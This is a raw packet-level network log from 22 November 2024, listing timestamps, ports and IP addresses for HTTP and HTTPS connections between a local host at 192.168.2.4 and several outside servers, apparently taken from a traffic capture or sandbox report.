Nov 22, 2024 04:12:29.369138956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.369179010 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.369877100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.369918108 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.369930983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.369972944 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.370728016 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.370791912 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.370835066 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.370873928 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.371609926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.371716976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.371767998 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.372812986 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.372915983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.372961044 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.372992039 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.373348951 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.373480082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.373533010 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.374203920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.374265909 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.374305010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.374346972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.375055075 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.375174999 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.375225067 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.375926018 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.375973940 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.376054049 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.376101971 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.376770020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.376816988 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.376882076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.376928091 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.377620935 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.377666950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.377737045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.377784967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.378492117 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.378539085 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.378576040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.378622055 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.379391909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.379595041 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.379641056 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.380202055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.380254030 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.380302906 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.380352020 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.381077051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.381123066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.381160975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.381207943 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.381942034 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.382004023 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.382050037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.382095098 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.382824898 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.382873058 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.382929087 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.382976055 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.383682966 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.383809090 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.383857012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.384557009 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.384654999 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.384659052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.384701014 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.385416985 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.385467052 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.385519981 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.385561943 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.386260033 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.386307001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.386358976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.386404991 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.387128115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.387217999 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.387280941 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.387996912 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.388044119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.388088942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.388137102 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.388861895 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.388909101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.388969898 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.389018059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.389718056 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.389772892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.389857054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.389904976 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.390600920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.390646935 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.390691996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.390738964 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.391467094 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.391575098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.391625881 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.392307043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.392355919 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.392433882 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.392496109 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.393191099 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.393241882 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.393305063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.393348932 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.394052982 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.394094944 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.394598007 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.394671917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.394902945 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.394948006 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.395006895 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.395061970 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.395791054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.395836115 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.395903111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.395948887 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.396759033 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.396806002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.396902084 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.396945000 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.397511959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.397559881 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.397614002 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.397660017 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.398363113 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.398411989 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.398458004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.398509979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.399224043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.399353981 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.399406910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.400079012 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.400125980 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.400171995 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.400213003 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.400940895 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.400990009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.401035070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.401082039 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.401838064 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.401885986 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.401973963 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.402020931 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.402601004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.402652025 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.426270962 CET	443	49806	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.426696062 CET	49806	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.426759005 CET	443	49806	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.427149057 CET	49806	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.427166939 CET	443	49806	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.442507982 CET	443	49804	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.442884922 CET	49804	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.442919016 CET	443	49804	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.443109035 CET	49804	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.443120003 CET	443	49804	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.558478117 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.558597088 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.558639050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.558655977 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.558918953 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.558969021 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.559047937 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.559093952 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.559748888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.559798002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.560086966 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.560137033 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.560183048 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.560231924 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.560945034 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.560993910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.631058931 CET	443	49803	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.631128073 CET	443	49803	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.631990910 CET	49803	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.632064104 CET	49803	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.632064104 CET	49803	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.632106066 CET	443	49803	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.632133007 CET	443	49803	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.634787083 CET	49807	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.634836912 CET	443	49807	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.634905100 CET	49807	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.635042906 CET	49807	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.635057926 CET	443	49807	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.657206059 CET	443	49797	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.657351017 CET	443	49797	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.657412052 CET	49797	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.657530069 CET	49797	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.657551050 CET	443	49797	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.657588005 CET	49797	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.657593012 CET	443	49797	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.659873962 CET	49808	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.659935951 CET	443	49808	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.660017967 CET	49808	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.660130978 CET	49808	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.660160065 CET	443	49808	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.753506899 CET	443	49805	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.753562927 CET	443	49805	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.753624916 CET	49805	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.753761053 CET	49805	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.753762007 CET	49805	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.753793955 CET	443	49805	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.753817081 CET	443	49805	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.756004095 CET	49809	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.756084919 CET	443	49809	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.756167889 CET	49809	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.756264925 CET	49809	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.756300926 CET	443	49809	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.869893074 CET	443	49806	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.870070934 CET	443	49806	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.870971918 CET	49806	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.871345997 CET	49806	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.871345997 CET	49806	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.871380091 CET	443	49806	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.871403933 CET	443	49806	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.882013083 CET	49810	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.882052898 CET	443	49810	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.883089066 CET	49810	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.886869907 CET	49810	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.886898994 CET	443	49810	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.893750906 CET	443	49804	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.893903971 CET	443	49804	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.893970013 CET	49804	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.894210100 CET	49804	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.894210100 CET	49804	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.894227982 CET	443	49804	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.894248009 CET	443	49804	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.897615910 CET	49811	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.897650957 CET	443	49811	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.897721052 CET	49811	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.897913933 CET	49811	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.897941113 CET	443	49811	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.351896048 CET	443	49807	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.400122881 CET	49807	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.443830967 CET	49807	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.443876982 CET	443	49807	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.444226980 CET	49807	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.444241047 CET	443	49807	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.444977999 CET	443	49808	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.445344925 CET	49808	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.445405960 CET	443	49808	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.445673943 CET	49808	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.445688009 CET	443	49808	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.536027908 CET	443	49809	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.536504030 CET	49809	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.536576033 CET	443	49809	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.536935091 CET	49809	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.536950111 CET	443	49809	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.609173059 CET	443	49810	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.609550953 CET	49810	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.609610081 CET	443	49810	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.609910011 CET	49810	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.609925985 CET	443	49810	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.680111885 CET	443	49811	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.680430889 CET	49811	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.680464983 CET	443	49811	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.680926085 CET	49811	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.680937052 CET	443	49811	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.785912037 CET	443	49807	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.785996914 CET	443	49807	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.786053896 CET	49807	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.786338091 CET	49807	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.786338091 CET	49807	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.786365032 CET	443	49807	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.786377907 CET	443	49807	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.788460970 CET	49812	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.788489103 CET	443	49812	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.788553953 CET	49812	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.788675070 CET	49812	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.788687944 CET	443	49812	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.824687958 CET	49794	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:31.824937105 CET	49813	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:31.887717962 CET	443	49808	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.887861013 CET	443	49808	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.887927055 CET	49808	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.887991905 CET	49808	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.887991905 CET	49808	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.888027906 CET	443	49808	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.888055086 CET	443	49808	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.890299082 CET	49814	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.890324116 CET	443	49814	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.890486956 CET	49814	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.890655994 CET	49814	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.890671015 CET	443	49814	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.944397926 CET	80	49813	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:31.944469929 CET	49813	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:31.944607019 CET	49813	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:31.944628000 CET	80	49794	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:31.944685936 CET	49794	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:31.979042053 CET	443	49809	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.979127884 CET	443	49809	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.979280949 CET	49809	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.979382038 CET	49809	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.979382038 CET	49809	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.979415894 CET	443	49809	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.979441881 CET	443	49809	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.981470108 CET	49815	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.981519938 CET	443	49815	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:31.981601000 CET	49815	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.981740952 CET	49815	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:31.981775999 CET	443	49815	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.043108940 CET	443	49810	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.043297052 CET	443	49810	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.043399096 CET	49810	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.043571949 CET	49810	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.043590069 CET	443	49810	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.043638945 CET	49810	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.043653011 CET	443	49810	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.045948029 CET	49816	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.046003103 CET	443	49816	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.046127081 CET	49816	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.046283960 CET	49816	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.046300888 CET	443	49816	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.064099073 CET	80	49813	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:32.124614000 CET	443	49811	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.124764919 CET	443	49811	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.124907017 CET	49811	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.124948025 CET	49811	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.124948025 CET	49811	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.124969006 CET	443	49811	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.124989986 CET	443	49811	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.127150059 CET	49817	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.127172947 CET	443	49817	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.127244949 CET	49817	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.127410889 CET	49817	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:32.127425909 CET	443	49817	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:32.484103918 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:32.484159946 CET	443	49818	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:32.484282970 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:32.490741014 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:32.490757942 CET	443	49818	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:33.334187031 CET	80	49813	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:33.334256887 CET	49813	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:33.337912083 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:33.338354111 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:33.457792044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:33.457875013 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:33.458070993 CET	49798	80	192.168.2.4	185.215.113.16
